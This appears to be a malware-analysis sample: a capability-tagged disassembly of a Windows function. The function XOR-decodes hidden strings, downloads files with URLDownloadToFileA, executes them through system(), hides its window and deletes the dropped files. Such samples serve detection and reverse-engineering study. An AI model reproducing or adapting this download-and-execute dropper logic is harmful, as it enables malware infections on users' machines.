Function at 0x140039010
Capabilities:
Create directory
Delete file
Download url
Encode data using xor
Execute command
Hide graphical window
Receive data
Terminate process

Disassembly:
push rbp
push rbx
lea rbp, [rsp - 0x1e8]
sub rsp, 0x2e8
mov dword [rbp + 0x200], 0xf090c2a
mov word [rbp + 0x204], 0x100
xor ebx, ebx
mov ecx, ebx
nop dword [rax]
lea eax, [rcx + 0x78]
xor byte [rbp + rcx + 0x200], al
inc rcx
cmp rcx, 4
jb 0x140039040
mov byte [rbp + 0x205], bl
mov dword [rsp + 0x30], 0xf13172d
mov dword [rsp + 0x34], 0x1b102a05
mov dword [rsp + 0x38], 0xf0e3edc3
mov word [rsp + 0x3c], 0xf7
mov byte [rsp + 0x3e], 1
mov rcx, rbx
lea eax, [rcx + 0x78]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 0xd
jb 0x140039080
mov byte [rsp + 0x3e], bl
lea rdx, [rbp + 0x200]
lea rcx, [rsp + 0x30]
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
jne 0x14003999b
movdqa xmm0, xmmword [str._C_]
movdqu xmmword [rsp + 0x30], xmm0
mov byte [rsp + 0x40], 1
mov rcx, rbx
nop word [rax + rax]
lea eax, [rcx + 0x78]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 0xf
jb 0x1400390d0
mov byte [rsp + 0x40], bl
lea rax, [rsp + 0x30]
mov qword [rbp + 0x208], rax
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rbp - 0x68]
call fcn.140038950
nop
mov word [rbp + 0x200], Ordinal_41
mov byte [rbp + 0x202], 1
mov r9, rax
lea r8, [rbp + 0x200]
lea rdx, [rbp + 0x208]
lea rcx, [rsp + 0x58]
call fcn.14003f750
nop
mov rdx, qword [rbp - 0x50]
cmp rdx, 0x10
jb 0x140039169
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140039164
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140039164
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a11e8
mov qword [rbp - 0x58], rbx
mov qword [rbp - 0x50], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x68], 0
mov edx, 5
lea rcx, [rbp + 0x40]
call fcn.140038950
nop
mov dword [rbp + 0x208], 0x1e021c56
mov word [rbp + 0x20c], 0x100
mov word [rbp + 0x200], Ordinal_41
mov byte [rbp + 0x202], 1
lea rax, [rbp + 0x208]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x40]
lea r8, [rbp + 0x200]
lea rdx, [rsp + 0x58]
lea rcx, [rbp + 0xa0]
call fcn.14003f940
nop
mov edx, 6
lea rcx, [rbp + 0x80]
call fcn.140038950
nop
mov edx, 7
lea rcx, [rbp + 0x60]
call fcn.1400387e0
nop
mov edx, 7
lea rcx, [rbp + 0x20]
call fcn.1400387e0
nop
lea rcx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0x10
cmovae rcx, qword [rsp + 0x58]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__mkdir]
mov dword [rbp + 0x208], 0xf020d56
mov word [rbp + 0x20c], 0x100
mov word [rbp + 0x200], Ordinal_41
mov byte [rbp + 0x202], 1
lea rax, [rbp + 0x208]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x20]
lea r8, [rbp + 0x200]
lea rdx, [rsp + 0x58]
lea rcx, [rbp - 0x30]
call fcn.14003f940
mov r8, rax
cmp qword [rax + 0x18], 0x10
jb 0x140039270
mov r8, qword [rax]
movdqa xmm0, xmmword [0x1400c0760]
movdqu xmmword [rbp - 0x68], xmm0
movdqa xmm1, xmmword [0x1400c07d0]
movdqu xmmword [rbp - 0x58], xmm1
movdqa xmm0, xmmword [0x1400c0700]
movdqu xmmword [rbp - 0x48], xmm0
mov word [rbp - 0x38], 0xdc
mov byte [rbp - 0x36], 1
mov rcx, rbx
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx + 0x78]
xor byte [rbp + rcx - 0x68], al
inc rcx
cmp rcx, 0x31
jb 0x1400392b0
mov byte [rbp - 0x36], 0
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea rdx, [rbp - 0x68]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x140039316
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140039311
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140039311
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a11e8
mov dword [rbp + 0x210], 0xf020d56
mov word [rbp + 0x214], 0x100
mov word [rbp + 0x200], Ordinal_41
mov byte [rbp + 0x202], 1
lea rax, [rbp + 0x210]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x20]
lea r8, [rbp + 0x200]
lea rdx, [rsp + 0x58]
lea rcx, [rbp - 0x30]
call fcn.14003f940
nop
cmp qword [rax + 0x18], 0x10
jb 0x140039369
mov rax, qword [rax]
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], reloc.WS2_32.dll_ntohs
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140039383
mov rdx, rax
lea rcx, [rsp + 0x30]
call fcn.14003f3f0
lea rdx, [rsp + 0x30]
lea rcx, [rbp]
call fcn.140038ac0
nop
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x1400393e7
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400393e2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400393e2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a11e8
mov qword [rbp - 0x20], rbx
mov qword [rbp - 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x30], 0
lea rcx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0x10
cmovae rcx, qword [rsp + 0x58]
lea rdx, [rbp - 0x68]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__stat64i32]
test eax, eax
jne 0x14003973d
mov dword [rbp + 0x218], 0x1e021c56
mov word [rbp + 0x21c], 0x100
mov word [rbp + 0x208], Ordinal_41
mov byte [rbp + 0x20a], 1
lea rax, [rbp + 0x218]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x40]
lea r8, [rbp + 0x208]
lea rdx, [rsp + 0x58]
lea rcx, [rbp - 0x68]
call fcn.14003f940
nop
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.RtlGetVersion
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140039498
mov dword [rbp + 0xc0], 0x11c
lea rcx, [rbp + 0xc0]
call rax
cmp dword [rbp + 0xc4], 0xa
jb 0x1400394b7
mov r8d, 0x21200
lea rdx, [0x140128820]
lea rcx, [rbp - 0x68]
call fcn.140034100
mov dword [rsp + 0x50], 0x8030a56
mov word [rsp + 0x54], 0x100
mov word [rbp + 0x200], Ordinal_41
mov byte [rbp + 0x202], 1
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x60]
lea r8, [rbp + 0x200]
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x78]
call fcn.14003f940
nop
lea r8, [rsp + 0x78]
cmp qword [rbp - 0x70], 0x10
cmovae r8, qword [rsp + 0x78]
lea rdx, [rbp]
cmp qword [rbp + 0x18], 0x10
cmovae rdx, qword [rbp]
mov qword [rsp + 0x20], rbx
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rcx, [rsp + 0x78]
cmp qword [rbp - 0x70], 0x10
cmovae rcx, qword [rsp + 0x78]
lea rdx, [rbp - 0x30]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__stat64i32]
test eax, eax
jne 0x1400396af
movdqa xmm0, xmmword [str.56___11]
movdqu xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x40], 0xc5c3c5a8
mov dword [rsp + 0x44], 0xbeb3dec9
mov word [rsp + 0x48], 0xa5
mov byte [rsp + 0x4a], 1
mov rcx, rbx
nop dword [rax + rax]
lea eax, [rcx + 0x78]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 0x19
jb 0x140039580
mov byte [rsp + 0x4a], 0
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov edx, 5
call qword [sym.imp.USER32.dll_ShowWindow]
mov word [rbp + 0x208], 0x58
mov byte [rbp + 0x20a], 1
mov word [rbp + 0x210], 0x58
mov byte [rbp + 0x212], 1
lea rax, [rbp + 0x208]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x78]
lea r8, [rbp + 0x210]
lea rdx, [rbp - 0x68]
lea rcx, [rbp - 0x30]
call fcn.14003fd30
lea rcx, [rbp - 0x30]
cmp qword [rbp - 0x18], 0x10
cmovae rcx, qword [rbp - 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0x10
cmovae rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
lea rcx, [rbp - 0x68]
cmp qword [rbp - 0x50], 0x10
cmovae rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rsp + 0x78]
cmp qword [rbp - 0x70], 0x10
cmovae rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0x10
cmovae rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x1400396af
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400396a9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400396a9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a11e8
nop
mov rdx, qword [rbp - 0x70]
cmp rdx, 0x10
jb 0x1400396ee
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400396e9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400396e9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a11e8
mov qword [rbp - 0x78], rbx
mov qword [rbp - 0x70], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x78], 0
mov rdx, qword [rbp - 0x50]
cmp rdx, 0x10
jb 0x14003973d
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140039738
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140039738
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a11e8
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov edx, 5
call qword [sym.imp.USER32.dll_ShowWindow]
nop
mov rdx, qword [rbp + 0x18]
cmp rdx, 0x10
jb 0x14003979b
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140039796
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140039796
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a11e8
mov qword [rbp + 0x10], rbx
mov qword [rbp + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbp], 0
mov rdx, qword [rbp + 0x38]
cmp rdx, 0x10
jb 0x1400397e9
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400397e4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400397e4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a11e8
mov qword [rbp + 0x30], rbx
mov qword [rbp + 0x38], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x20], 0
mov rdx, qword [rbp + 0x78]
cmp rdx, 0x10
jb 0x140039837
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140039832
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140039832
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a11e8
mov qword [rbp + 0x70], rbx
mov qword [rbp + 0x78], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x60], 0
mov rdx, qword [rbp + 0x98]
cmp rdx, 0x10
jb 0x14003988b
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140039886
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140039886
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a11e8
mov qword [rbp + 0x90], rbx
mov qword [rbp + 0x98], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x80], 0
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0x10
jb 0x1400398e8
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400398e3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400398e3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a11e8
mov qword [rbp + 0xb0], rbx
mov qword [rbp + 0xb8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xa0], 0
mov rdx, qword [rbp + 0x58]
cmp rdx, 0x10
jb 0x14003993f
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003993a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003993a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a11e8
mov qword [rbp + 0x50], rbx
mov qword [rbp + 0x58], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x40], 0
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x14003998f
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003998a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003998a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a11e8
mov al, 1
add rsp, 0x2e8
pop rbx
pop rbp
ret
mov dword [rbp + 0x200], 0x545756
mov byte [rbp + 0x204], 1
movdqa xmm0, xmmword [0x1400c0810]
movdqu xmmword [rsp + 0x30], xmm0
mov word [rsp + 0x40], 0xfc
mov byte [rsp + 0x42], 1
lea rcx, [rbp + 0x200]
call fcn.140037eb0
mov r8, rax
lea rcx, [rsp + 0x30]
call fcn.140039a30
mov rdx, rax
xor ecx, ecx
lea r9d, [rcx + 0x10]
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3